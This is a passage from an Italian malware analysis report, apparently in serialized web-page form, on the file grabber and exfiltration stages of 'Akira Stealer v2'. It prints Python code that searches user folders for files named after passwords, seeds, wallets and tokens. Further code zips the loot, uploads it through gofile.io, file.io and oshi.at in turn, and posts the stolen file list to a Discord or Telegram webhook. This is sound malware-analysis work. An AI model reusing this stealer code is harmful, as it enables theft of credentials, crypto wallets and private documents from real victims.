calcolo, note private e file di chiavi crittografiche. Il modulo File Grabber si occupa di questo compito. Funziona scansionando le directory di maggior valore in cerca di tipi e pattern di file comuni, per poi aggiungerli in silenzio al pacchetto di esfiltrazione. Ciò che rende questo modulo particolarmente pericoloso è la sua semplicità unita alla sua messa a fuoco: non tenta di percorrere l'intero file system. Punta invece a posizioni specifiche e ad alta probabilità, dove i file sensibili vengono tipicamente conservati. Tra queste ci sono le directory Desktop, Documents, Downloads e OneDrive, ciascuna relativa al percorso home dell'utente. Questo approccio focalizzato migliora sia la velocità sia la furtività e riduce le probabilità di rilevamento durante la scansione. Evita anche di insospettire l'utente, perché non accede a directory di sistema o protette. Una volta individuati i file di interesse, vengono copiati in una cartella temporanea, eventualmente rinominati o raggruppati, e poi compressi nell'archivio ZIP finale che viene caricato nella fase di esfiltrazione.",[887,9449,9451],{"id":9450},"_7111-enumerazione-delle-directory-obiettivo","7.11.1 Enumerazione delle directory obiettivo",[525,9453,893],{},[525,9455,9456],{},"Lo stealer si concentra su quattro cartelle a resa elevata:",[615,9458,9460],{"className":4513,"code":9459,"language":4515,"meta":529,"style":529},"searchFolders = [\n    \"Desktop\",\n    \"Documents\",\n    \"Downloads\",\n    \"OneDrive\"\n]\n",[578,9461,9462,9467,9472,9477,9482,9487],{"__ignoreMap":529},[1704,9463,9464],{"class":1706,"line":1707},[1704,9465,9466],{},"searchFolders = [\n",[1704,9468,9469],{"class":1706,"line":530},[1704,9470,9471],{},"    \"Desktop\",\n",[1704,9473,9474],{"class":1706,"line":2088},[1704,9475,9476],{},"    \"Documents\",\n",[1704,9478,9479],{"class":1706,"line":2094},[1704,9480,9481],{},"    \"Downloads\",\n",[1704,9483,9484],{"class":1706,"line":2415},[1704,9485,9486],{},"    \"OneDrive\"\n",[1704,9488,9489],{"class":1706,"line":2421},[1704,9490,7933],{},[525,9492,9493],{},"Ogni cartella è interpretata come relativa alla directory home della vittima:",[615,9495,9497],{"className":4513,"code":9496,"language":4515,"meta":529,"style":529},"for folder in searchFolders:\n    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n    if os.path.exists(current_path):\n        # proceed to scan\n",[578,9498,9499,9504,9509,9514],{"__ignoreMap":529},[1704,9500,9501],{"class":1706,"line":1707},[1704,9502,9503],{},"for folder in searchFolders:\n",[1704,9505,9506],{"class":1706,"line":530},[1704,9507,9508],{},"    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1704,9510,9511],{"class":1706,"line":2088},[1704,9512,9513],{},"    if os.path.exists(current_path):\n",[1704,9515,9516],{"class":1706,"line":2094},[1704,9517,9518],{},"        # proceed to scan\n",[887,9520,9522],{"id":9521},"_7112-filtro-per-parole-chiave-ed-estensioni","7.11.2 Filtro per parole chiave ed estensioni",[525,9524,893],{},[525,9526,9527],{},[567,9528,9529],{},"Elenco di parole chiave",[525,9531,9532],{},"Un insieme predefinito di sottostringhe guida la selezione dei file. Vengono considerati solo i nomi di file che contengono almeno una parola chiave:",[615,9534,9536],{"className":4513,"code":9535,"language":4515,"meta":529,"style":529},"keywordsFiles = [\n    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n]\n",[578,9537,9538,9543,9548,9553],{"__ignoreMap":529},[1704,9539,9540],{"class":1706,"line":1707},[1704,9541,9542],{},"keywordsFiles = [\n",[1704,9544,9545],{"class":1706,"line":530},[1704,9546,9547],{},"    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n",[1704,9549,9550],{"class":1706,"line":2088},[1704,9551,9552],{},"    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n",[1704,9554,9555],{"class":1706,"line":2094},[1704,9556,7933],{},[630,9558,9559,9576],{},[633,9560,9561,9564,9565,9568,9569,9572,9573,613],{},[567,9562,9563],{},"Corrispondenze parziali",": parole chiave come ",[578,9566,9567],{},"passw"," catturano sia ",[578,9570,9571],{},"passwords.txt"," sia ",[578,9574,9575],{},"passw_backup.docx",[633,9577,9578,9581],{},[567,9579,9580],{},"Copertura ampia",": comprende termini legati ad autenticazione, wallet, criptovalute e token.",[887,9583,9585],{"id":9584},"_7113-tipi-di-file-ammessi","7.11.3 Tipi di file ammessi",[525,9587,893],{},[525,9589,9590],{},"Per ridurre al minimo il rumore viene applicata una whitelist di estensioni:",[615,9592,9594],{"className":4513,"code":9593,"language":4515,"meta":529,"style":529},"allowed_extensions = [\n    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n    \".jpg\", \".png\"\n]\n",[578,9595,9596,9601,9606,9611],{"__ignoreMap":529},[1704,9597,9598],{"class":1706,"line":1707},[1704,9599,9600],{},"allowed_extensions = [\n",[1704,9602,9603],{"class":1706,"line":530},[1704,9604,9605],{},"    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n",[1704,9607,9608],{"class":1706,"line":2088},[1704,9609,9610],{},"    \".jpg\", \".png\"\n",[1704,9612,9613],{"class":1706,"line":2094},[1704,9614,7933],{},[887,9616,9618],{"id":9617},"_7113-vincolo-di-dimensione","7.11.3 Vincolo di dimensione",[525,9620,893],{},[525,9622,9623],{},"I file più grandi di 2 megabyte vengono saltati, per ottimizzare la velocità di esfiltrazione ed evitare trasferimenti pesanti:",[615,9625,9627],{"className":4513,"code":9626,"language":4515,"meta":529,"style":529},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\nif file_size_mb \u003C= 2:\n    # eligible for copy\n",[578,9628,9629,9634,9639],{"__ignoreMap":529},[1704,9630,9631],{"class":1706,"line":1707},[1704,9632,9633],{},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\n",[1704,9635,9636],{"class":1706,"line":530},[1704,9637,9638],{},"if file_size_mb \u003C= 2:\n",[1704,9640,9641],{"class":1706,"line":2088},[1704,9642,9643],{},"    # eligible for copy\n",[887,9645,9647],{"id":9646},"_7114-scansione-ricorsiva-e-logica-di-copia","7.11.4 Scansione ricorsiva e logica di copia",[525,9649,893],{},[525,9651,9652],{},"Una volta identificate le directory di maggior valore, Akira avvia una routine di scansione ricorsiva per percorrere le sottocartelle e individuare i file che corrispondono a parole chiave ed estensioni specifiche. Questa fase è costruita per precisione e furtività: vengono considerati solo i file che soddisfano criteri predefiniti, come nomi che contengono parole chiave sensibili e tipi di file approvati. La logica fa sì che venga esfiltrato solo contenuto rilevante e generato dall'utente. Ignora file di sistema, cache e binari e limita la dimensione di ogni singolo file a 2 MB, per contenere il volume dell'upload e il rischio di rilevamento. Questo metodo di scansione è silenzioso, efficiente e ottimizzato per il furto di dati furtivo in ambienti reali. Copiando i file corrispondenti in una cartella di staging e tenendo un elenco di ciò che è stato prelevato, Akira prepara il contenuto per il confezionamento e l'esfiltrazione, riducendo al minimo duplicazioni e rumore operativo.",[525,9654,9655,9656,9659],{},"La routine centrale ",[578,9657,9658],{},"steal_files()"," funziona così:",[615,9661,9663],{"className":4513,"code":9662,"language":4515,"meta":529,"style":529},"@staticmethod\ndef steal_files():\n    stolen_files = set()\n    temp_folder = Utils.get_temp_folder()\n\n    for folder in searchFolders:\n        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n        if os.path.exists(current_path):\n            for root, _, files in os.walk(current_path):\n                for file in files:\n                    lower = file.lower()\n                    # Keyword check\n                    if any(keyword in lower for keyword in keywordsFiles):\n                        ext = os.path.splitext(lower)[1]\n                        # Extension and size check\n                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n                            # Prepare destination\n                            files_dir = os.path.join(temp_folder, \"Files\")\n                            os.makedirs(files_dir, exist_ok=True)\n                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n                            stolen_files.add(file)\n    data.stolen_files.extend(stolen_files)\n",[578,9664,9665,9669,9674,9679,9684,9688,9693,9698,9703,9708,9713,9718,9723,9728,9733,9738,9743,9748,9753,9758,9763,9768],{"__ignoreMap":529},[1704,9666,9667],{"class":1706,"line":1707},[1704,9668,4998],{},[1704,9670,9671],{"class":1706,"line":530},[1704,9672,9673],{},"def steal_files():\n",[1704,9675,9676],{"class":1706,"line":2088},[1704,9677,9678],{},"    stolen_files = set()\n",[1704,9680,9681],{"class":1706,"line":2094},[1704,9682,9683],{},"    temp_folder = Utils.get_temp_folder()\n",[1704,9685,9686],{"class":1706,"line":2415},[1704,9687,3873],{"emptyLinePlaceholder":325},[1704,9689,9690],{"class":1706,"line":2421},[1704,9691,9692],{},"    for folder in searchFolders:\n",[1704,9694,9695],{"class":1706,"line":3080},[1704,9696,9697],{},"        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1704,9699,9700],{"class":1706,"line":3876},[1704,9701,9702],{},"        if os.path.exists(current_path):\n",[1704,9704,9705],{"class":1706,"line":3882},[1704,9706,9707],{},"            for root, _, files in os.walk(current_path):\n",[1704,9709,9710],{"class":1706,"line":4128},[1704,9711,9712],{},"                for file in files:\n",[1704,9714,9715],{"class":1706,"line":5046},[1704,9716,9717],{},"                    lower = file.lower()\n",[1704,9719,9720],{"class":1706,"line":5052},[1704,9721,9722],{},"                    # Keyword check\n",[1704,9724,9725],{"class":1706,"line":5058},[1704,9726,9727],{},"                    if any(keyword in lower for keyword in keywordsFiles):\n",[1704,9729,9730],{"class":1706,"line":5064},[1704,9731,9732],{},"                        ext = os.path.splitext(lower)[1]\n",[1704,9734,9735],{"class":1706,"line":5070},[1704,9736,9737],{},"                        # Extension and size check\n",[1704,9739,9740],{"class":1706,"line":5076},[1704,9741,9742],{},"                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n",[1704,9744,9745],{"class":1706,"line":5082},[1704,9746,9747],{},"                            # Prepare destination\n",[1704,9749,9750],{"class":1706,"line":5088},[1704,9751,9752],{},"                            files_dir = os.path.join(temp_folder, \"Files\")\n",[1704,9754,9755],{"class":1706,"line":5094},[1704,9756,9757],{},"                            os.makedirs(files_dir, exist_ok=True)\n",[1704,9759,9760],{"class":1706,"line":5100},[1704,9761,9762],{},"                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n",[1704,9764,9765],{"class":1706,"line":5106},[1704,9766,9767],{},"                            stolen_files.add(file)\n",[1704,9769,9770],{"class":1706,"line":5112},[1704,9771,9772],{},"    data.stolen_files.extend(stolen_files)\n",[525,9774,9775],{},[567,9776,2622],{},[2102,9778,9779,9787,9796,9805,9811],{},[633,9780,9781,9786],{},[567,9782,9783],{},[578,9784,9785],{},"os.walk",": scende in modo ricorsivo nelle sottodirectory.",[633,9788,9789,9792,9793,613],{},[567,9790,9791],{},"Corrispondenza senza distinzione tra maiuscole e minuscole",": i nomi dei file vengono normalizzati con ",[578,9794,9795],{},"lower()",[633,9797,9798,9801,9802,9804],{},[567,9799,9800],{},"Copia atomica",": usa ",[578,9803,7799],{}," per preservare il contenuto dei file.",[633,9806,9807,9810],{},[567,9808,9809],{},"Insieme dei nomi di file rubati",": evita copie duplicate quando lo stesso file compare due volte.",[633,9812,9813,998,9818,9821],{},[567,9814,9815,9816],{},"Integrazione con ",[578,9817,9076],{},[578,9819,9820],{},"data.stolen_files"," accumula l'elenco dei file rubati per la successiva segnalazione.",[887,9823,9825],{"id":9824},"_7115-archiviazione-ed-esfiltrazione","7.11.5 Archiviazione ed esfiltrazione",[525,9827,893],{},[525,9829,9830,9831,9834],{},"Dopo la raccolta, la cartella ",[578,9832,9833],{},"Files"," viene compressa in ZIP e spedita:",[615,9836,9838],{"className":4513,"code":9837,"language":4515,"meta":529,"style":529},"# Archive\nUtils.zip_client_file()  # creates CLIENT.zip from temp_folder\n\n# Upload & Notify\nakira.sendFilesTG(Utils.get_temp_folder(), startup)\nhook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[578,9839,9840,9845,9850,9854,9859,9864],{"__ignoreMap":529},[1704,9841,9842],{"class":1706,"line":1707},[1704,9843,9844],{},"# Archive\n",[1704,9846,9847],{"class":1706,"line":530},[1704,9848,9849],{},"Utils.zip_client_file()  # creates CLIENT.zip from temp_folder\n",[1704,9851,9852],{"class":1706,"line":2088},[1704,9853,3873],{"emptyLinePlaceholder":325},[1704,9855,9856],{"class":1706,"line":2094},[1704,9857,9858],{},"# Upload & Notify\n",[1704,9860,9861],{"class":1706,"line":2415},[1704,9862,9863],{},"akira.sendFilesTG(Utils.get_temp_folder(), startup)\n",[1704,9865,9866],{"class":1706,"line":2421},[1704,9867,9868],{},"hook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[630,9870,9871,9887],{},[633,9872,9873,9878,9879,646,9881,646,9883,9886],{},[567,9874,9875],{},[578,9876,9877],{},"zip_client_file()",": comprime l'intera directory temporanea, comprese ",[578,9880,9833],{},[578,9882,6349],{},[578,9884,9885],{},"Passwords"," e le altre.",[633,9888,9889,9893,9894],{},[567,9890,9891],{},[578,9892,9058],{},": pubblica il link di download tramite webhook Telegram o Discord, elencando ogni nome di file rubato:",[615,9895,9897],{"className":4513,"code":9896,"language":4515,"meta":529,"style":529},"fields.append({\n\"name\": \"📂 Files\",\n\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n\"inline\": False\n})\n",[578,9898,9899,9904,9909,9914,9919],{"__ignoreMap":529},[1704,9900,9901],{"class":1706,"line":1707},[1704,9902,9903],{},"fields.append({\n",[1704,9905,9906],{"class":1706,"line":530},[1704,9907,9908],{},"\"name\": \"📂 Files\",\n",[1704,9910,9911],{"class":1706,"line":2088},[1704,9912,9913],{},"\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n",[1704,9915,9916],{"class":1706,"line":2094},[1704,9917,9918],{},"\"inline\": False\n",[1704,9920,9921],{"class":1706,"line":2415},[1704,9922,9923],{},"})\n",[525,9925,9926],{},[567,9927,9928],{},"Conclusione:",[525,9930,9931],{},"Il File Grabber di Akira Stealer v2 dà la caccia in modo sistematico ai documenti sensibili usando filtri per parole chiave ed estensioni, rispetta un limite di 2 MB per ragioni di efficienza e consolida gli elementi rubati in un archivio. Il suo design garantisce insieme ampiezza (più cartelle) e precisione (filtri mirati), e lo rende uno degli stadi di maggiore impatto nel ciclo di vita del malware.",[740,9933,9935],{"id":9934},"_712-strategia-di-esfiltrazione","7.12 Strategia di esfiltrazione",[525,9937,746],{},[525,9939,9940],{},"Il modulo di esfiltrazione gestisce i token raccolti e gli artefatti aggiuntivi (cookie, compilazioni automatiche, log) collocandoli in una directory strutturata, comprimendoli in un archivio, caricandoli su più servizi di hosting online e inviando notifiche webhook dettagliate. Questa sezione scompone ogni passo con percorsi di file, endpoint di dominio e riferimenti al codice, per garantire piena tracciabilità.",[887,9942,9944],{"id":9943},"_7121-struttura-delle-directory-e-nomi-dei-file","7.12.1 Struttura delle directory e nomi dei file",[525,9946,893],{},[525,9948,9949],{},"Akira organizza tutti gli artefatti raccolti in una struttura di directory temporanea ordinata e gerarchica. Questo design consente un confezionamento efficiente e una facile revisione post esfiltrazione da parte dell'attaccante. Ogni categoria di dati, come Tokens, Cookies, Passwords o Screenshots, viene conservata in una propria sottocartella sotto un percorso radice chiamato come il computer della vittima (per esempio DESKTOP1234). Questa struttura garantisce chiarezza, riduce le duplicazioni e semplifica il processo di archiviazione e upload. Rende anche molto più semplice l'analisi automatica o l'ispezione manuale sul lato dell'attaccante.",[615,9951,9954],{"className":9952,"code":9953,"language":620},[618],"C:\\Users\\User\\AppData\\Local\\Temp\\DESKTOP1234\\\n├─ Tokens\\\n│   ├ token_ab12cd34.txt\n│   └ token_ef56gh78.txt\n├─ Cookies\\\n│   ├ Chrome_Cookies.txt\n│   └ Discord_Cookies.txt\n├─ Autofill\\\n├─ Passwords\\\n├─ Logs\\\n└─ Screenshots\\\n",[578,9955,9953],{"__ignoreMap":529},[887,9957,9959],{"id":9958},"_7122-staging-di-token-e-artefatti","7.12.2 Staging di token e artefatti",[525,9961,893],{},[525,9963,9964],{},"Prima dell'esfiltrazione, Akira colloca tutti gli artefatti rilevanti nelle sottocartelle corrispondenti. I valori dei token, per esempio, vengono scritti in singoli file .txt per facilitare una consultazione e una validazione rapide. Cookie, voci di compilazione automatica e password vengono scritti allo stesso modo in file di testo strutturati e denominati per browser. Questo passaggio standardizza la disposizione dei dati e permette a strumenti automatici di tenere traccia di ciò che è stato raccolto. Fa anche sì che l'archivio ZIP rispecchi poi un formato prevedibile e comodo per l'attaccante, indipendentemente da quali moduli sono stati attivati.",[615,9966,9968],{"className":4513,"code":9967,"language":4515,"meta":529,"style":529},"import os, shutil\n# Constants\nTMP = os.getenv('TEMP')\nROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n# Prepare structure\nfor sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n# Save token\nwith open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n    f.write(token)\n",[578,9969,9970,9975,9980,9985,9990,9995,10000,10005,10010,10015],{"__ignoreMap":529},[1704,9971,9972],{"class":1706,"line":1707},[1704,9973,9974],{},"import os, shutil\n",[1704,9976,9977],{"class":1706,"line":530},[1704,9978,9979],{},"# Constants\n",[1704,9981,9982],{"class":1706,"line":2088},[1704,9983,9984],{},"TMP = os.getenv('TEMP')\n",[1704,9986,9987],{"class":1706,"line":2094},[1704,9988,9989],{},"ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n",[1704,9991,9992],{"class":1706,"line":2415},[1704,9993,9994],{},"# Prepare structure\n",[1704,9996,9997],{"class":1706,"line":2421},[1704,9998,9999],{},"for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n",[1704,10001,10002],{"class":1706,"line":3080},[1704,10003,10004],{},"    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n",[1704,10006,10007],{"class":1706,"line":3876},[1704,10008,10009],{},"# Save token\n",[1704,10011,10012],{"class":1706,"line":3882},[1704,10013,10014],{},"with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n",[1704,10016,10017],{"class":1706,"line":4128},[1704,10018,10019],{},"    f.write(token)\n",[630,10021,10022,10025],{},[633,10023,10024],{},"I token sono salvati in piccoli file di testo separati per un'ispezione rapida.",[633,10026,10027,10028,10031,10032,613],{},"I dump dei cookie da ",[578,10029,10030],{},"Chromium.GetCookies()"," vengono scritti in ",[578,10033,10034],{},"{Browser}_Cookies.txt",[887,10036,10038],{"id":10037},"_7133-creazione-dellarchivio-zip","7.13.3 Creazione dell'archivio ZIP",[525,10040,893],{},[525,10042,10043,10044],{},"Completato lo staging, Akira comprime l'intera directory in un unico archivio ZIP. Il nome dell'archivio segue una convenzione coerente: ",[10045,10046,10047,10048],"computer-name",{},"_",[10049,10050,10051],"timestamp",{},".zip, con il nome della macchina host e un timestamp UTC in formato ISO 8601. Questo garantisce sia univocità sia tracciabilità cronologica. Percorrendo in modo ricorsivo l'intera directory di staging, ogni file viene preservato con la sua struttura relativa all'interno dello ZIP. Il formato semplifica il recupero e l'ispezione in blocco da parte degli attaccanti, soprattutto quando centinaia di vittime vengono compromesse in parallelo.",[615,10053,10055],{"className":4513,"code":10054,"language":4515,"meta":529,"style":529},"import zipfile, datetime\n\ndef create_archive(root_dir: str) -> str:\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n        for dirpath, _, files in os.walk(root_dir):\n            for fname in files:\n                full = os.path.join(dirpath, fname)\n                rel = os.path.relpath(full, root_dir)\n                zf.write(full, rel)\n    return zip_path\n",[578,10056,10057,10062,10066,10071,10076,10081,10086,10091,10096,10101,10106,10111,10116],{"__ignoreMap":529},[1704,10058,10059],{"class":1706,"line":1707},[1704,10060,10061],{},"import zipfile, datetime\n",[1704,10063,10064],{"class":1706,"line":530},[1704,10065,3873],{"emptyLinePlaceholder":325},[1704,10067,10068],{"class":1706,"line":2088},[1704,10069,10070],{},"def create_archive(root_dir: str) -> str:\n",[1704,10072,10073],{"class":1706,"line":2094},[1704,10074,10075],{},"    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n",[1704,10077,10078],{"class":1706,"line":2415},[1704,10079,10080],{},"    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n",[1704,10082,10083],{"class":1706,"line":2421},[1704,10084,10085],{},"    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n",[1704,10087,10088],{"class":1706,"line":3080},[1704,10089,10090],{},"    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n",[1704,10092,10093],{"class":1706,"line":3876},[1704,10094,10095],{},"        for dirpath, _, files in os.walk(root_dir):\n",[1704,10097,10098],{"class":1706,"line":3882},[1704,10099,10100],{},"            for fname in files:\n",[1704,10102,10103],{"class":1706,"line":4128},[1704,10104,10105],{},"                full = os.path.join(dirpath, fname)\n",[1704,10107,10108],{"class":1706,"line":5046},[1704,10109,10110],{},"                rel = os.path.relpath(full, root_dir)\n",[1704,10112,10113],{"class":1706,"line":5052},[1704,10114,10115],{},"                zf.write(full, rel)\n",[1704,10117,10118],{"class":1706,"line":5058},[1704,10119,10120],{},"    return zip_path\n",[630,10122,10123],{},[633,10124,10125,10126,10129],{},"L'archivio è chiamato ",[578,10127,10128],{},"DESKTOP1234_20250505T123456Z.zip"," per mantenere la coerenza con l'host.",[525,10131,10132],{},[567,10133,10134],{},"Convenzione per il nome del file ZIP",[525,10136,10137],{},"L'archivio prende il nome del computer dell'host compromesso seguito da un timestamp UTC in formato ISO, così da garantire univocità e ordine cronologico.",[615,10139,10141],{"className":4513,"code":10140,"language":4515,"meta":529,"style":529},"import datetime, os\n\ndef create_archive(root_dir: str) -> str:\n    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    return zip_path\n",[578,10142,10143,10148,10152,10156,10161,10165,10170,10174,10178],{"__ignoreMap":529},[1704,10144,10145],{"class":1706,"line":1707},[1704,10146,10147],{},"import datetime, os\n",[1704,10149,10150],{"class":1706,"line":530},[1704,10151,3873],{"emptyLinePlaceholder":325},[1704,10153,10154],{"class":1706,"line":2088},[1704,10155,10070],{},[1704,10157,10158],{"class":1706,"line":2094},[1704,10159,10160],{},"    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n",[1704,10162,10163],{"class":1706,"line":2415},[1704,10164,10075],{},[1704,10166,10167],{"class":1706,"line":2421},[1704,10168,10169],{},"    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n",[1704,10171,10172],{"class":1706,"line":3080},[1704,10173,10080],{},[1704,10175,10176],{"class":1706,"line":3876},[1704,10177,10085],{},[1704,10179,10180],{"class":1706,"line":3882},[1704,10181,10120],{},[525,10183,10137],{},[887,10185,10187],{"id":10186},"_7144-flusso-di-upload","7.14.4 Flusso di upload",[525,10189,893],{},[525,10191,10192],{},"Akira usa una strategia di upload su tre livelli per massimizzare le probabilità di esfiltrazione riuscita. Tenta prima di caricare l'archivio su GoFile.io tramite la loro API pubblica, che restituisce un link di download. Se GoFile non è disponibile o è bloccato, ricade su File.io e poi su Oshi.at, così i dati vengono comunque trasferiti. Questi servizi offrono hosting anonimo e di breve durata, il che rende difficili takedown e tracciabilità. Lo script cattura l'URL di download finale e lo prepara per la consegna via webhook.",[2102,10194,10195,10227,10253],{},[633,10196,10197,10200],{},[567,10198,10199],{},"Primario: GoFile.io",[630,10201,10202,10210,10218],{},[633,10203,10204,998,10207],{},[567,10205,10206],{},"API per ottenere i server",[578,10208,10209],{},"GET https://api.gofile.io/servers",[633,10211,10212,998,10215],{},[567,10213,10214],{},"Endpoint di upload",[578,10216,10217],{},"POST https://\u003Cserver>.gofile.io/contents/uploadfile",[633,10219,10220,998,10223,10226],{},[567,10221,10222],{},"Campo della risposta",[578,10224,10225],{},"data.downloadPage"," contiene l'URL finale.",[633,10228,10229,10232],{},[567,10230,10231],{},"Fallback n. 1: File.io",[630,10233,10234,10244],{},[633,10235,10236,998,10238,1282,10241],{},[567,10237,10214],{},[578,10239,10240],{},"POST https://file.io/",[578,10242,10243],{},"files={'file': open(...)}",[633,10245,10246,10249,10250,613],{},[567,10247,10248],{},"Risposta",": campo JSON ",[578,10251,10252],{},"link",[633,10254,10255,10258],{},[567,10256,10257],{},"Fallback n. 2: Oshi.at",[630,10259,10260,10274],{},[633,10261,10262,998,10264,1282,10267,10270,10271,613],{},[567,10263,10214],{},[578,10265,10266],{},"POST http://oshi.at/",[578,10268,10269],{},"files[]"," e i parametri ",[578,10272,10273],{},"expire=43200, autodestroy=0",[633,10275,10276,10278,10279,613],{},[567,10277,10248],{},": testo semplice contenente ",[578,10280,10281],{},"DL: \u003Curl>",[525,10283,10284],{},[567,10285,10286],{},"Snippet di implementazione:",[615,10288,10290],{"className":4513,"code":10289,"language":4515,"meta":529,"style":529},"import requests\n\ndef upload_with_fallback(zip_path):\n    # GoFile\n    try:\n        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n        for srv in servers:\n            try:\n                r = requests.post(\n                    f'https://{srv}.gofile.io/contents/uploadfile',\n                    files={'file': open(zip_path,'rb')}, timeout=20)\n                url = r.json()['data']['downloadPage']\n                if url: return url\n            except: continue\n    except: pass\n    # File.io\n    try:\n        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n        return r.json().get('link','')\n    except: pass\n    # Oshi.at\n    try:\n        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n        return text.split('DL: ')[1].strip()\n    except: pass\n    return ''\n",[578,10291,10292,10297,10301,10306,10311,10315,10320,10325,10330,10335,10340,10345,10350,10355,10360,10365,10370,10374,10379,10384,10388,10393,10397,10402,10407,10411],{"__ignoreMap":529},[1704,10293,10294],{"class":1706,"line":1707},[1704,10295,10296],{},"import requests\n",[1704,10298,10299],{"class":1706,"line":530},[1704,10300,3873],{"emptyLinePlaceholder":325},[1704,10302,10303],{"class":1706,"line":2088},[1704,10304,10305],{},"def upload_with_fallback(zip_path):\n",[1704,10307,10308],{"class":1706,"line":2094},[1704,10309,10310],{},"    # GoFile\n",[1704,10312,10313],{"class":1706,"line":2415},[1704,10314,5161],{},[1704,10316,10317],{"class":1706,"line":2421},[1704,10318,10319],{},"        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n",[1704,10321,10322],{"class":1706,"line":3080},[1704,10323,10324],{},"        for srv in servers:\n",[1704,10326,10327],{"class":1706,"line":3876},[1704,10328,10329],{},"            try:\n",[1704,10331,10332],{"class":1706,"line":3882},[1704,10333,10334],{},"                r = requests.post(\n",[1704,10336,10337],{"class":1706,"line":4128},[1704,10338,10339],{},"                    f'https://{srv}.gofile.io/contents/uploadfile',\n",[1704,10341,10342],{"class":1706,"line":5046},[1704,10343,10344],{},"                    files={'file': open(zip_path,'rb')}, timeout=20)\n",[1704,10346,10347],{"class":1706,"line":5052},[1704,10348,10349],{},"                url = r.json()['data']['downloadPage']\n",[1704,10351,10352],{"class":1706,"line":5058},[1704,10353,10354],{},"                if url: return url\n",[1704,10356,10357],{"class":1706,"line":5064},[1704,10358,10359],{},"            except: continue\n",[1704,10361,10362],{"class":1706,"line":5070},[1704,10363,10364],{},"    except: pass\n",[1704,10366,10367],{"class":1706,"line":5076},[1704,10368,10369],{},"    # File.io\n",[1704,10371,10372],{"class":1706,"line":5082},[1704,10373,5161],{},[1704,10375,10376],{"class":1706,"line":5088},[1704,10377,10378],{},"        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n",[1704,10380,10381],{"class":1706,"line":5094},[1704,10382,10383],{},"        return r.json().get('link','')\n",[1704,10385,10386],{"class":1706,"line":5100},[1704,10387,10364],{},[1704,10389,10390],{"class":1706,"line":5106},[1704,10391,10392],{},"    # Oshi.at\n",[1704,10394,10395],{"class":1706,"line":5112},[1704,10396,5161],{},[1704,10398,10399],{"class":1706,"line":5118},[1704,10400,10401],{},"        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n",[1704,10403,10404],{"class":1706,"line":5124},[1704,10405,10406],{},"        return text.split('DL: ')[1].strip()\n",[1704,10408,10409],{"class":1706,"line":5130},[1704,10410,10364],{},[1704,10412,10413],{"class":1706,"line":5797},[1704,10414,10415],{},"    return ''\n",[887,10417,10419],{"id":10418},"_7155-avvisi-via-webhook-recupero-da-parte-dellattaccante-e-limiti-di-visibilità-per-lanalista","7.15.5 Avvisi via webhook, recupero da parte dell'attaccante e limiti di visibilità per l'analista",[525,10421,893],{},[525,10423,10424],{},"Dopo aver caricato l'archivio ZIP, Akira invia una notifica webhook, tipicamente su Discord o Telegram, con un embed strutturato che contiene informazioni dettagliate: numero di token rubati, conteggio dei cookie, dimensione del file e un link di download cliccabile. Questo dà agli attaccanti un riscontro immediato e l'accesso al recupero. Per garantire affidabilità viene inviato anche un messaggio di fallback in testo semplice, che contiene solo il link all'archivio. Questa ridondanza garantisce la consegna anche se l'embed viene bloccato o filtrato dalla piattaforma. Dal punto di vista del difensore queste comunicazioni sono spesso invisibili, a meno che non sia attivo un monitoraggio del traffico di rete in 